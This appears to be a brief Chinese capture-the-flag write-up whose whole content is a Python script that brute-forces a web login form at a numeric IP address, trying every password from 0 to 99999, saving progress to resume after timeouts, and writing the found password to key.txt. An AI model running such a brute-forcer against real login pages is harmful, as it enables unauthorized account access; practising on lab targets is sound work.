总体思路:爆破
遇到的问题:(用python是服务器经常无响应每次都要重新爆破,所以改良了一下代码)
注意: 如果显示失败就再运行一次py文件,知道key.txt被创建
import requests
def ssh():
"""读取data数据"""
with open("data.txt", "r") as fp:
start = fp.read()
"""开始爆破"""
for i in range(int(start), 100000):
pwd = str(i)
html = requests.post("http://114.67.246.176:12906/", data={'pwd': pwd})
html.encoding = 'utf-8'
"""判断是否成功"""
if "密码不正确" in html.text:
"""写入data文件"""
print("密码不正确: %s" % pwd)
with open("data.txt", "w") as fp:
fp.write(pwd)
else:
"""写入key文件并退出爆破"""
with open("key.txt", "w") as fp:
fp.write(pwd)
break
ssh()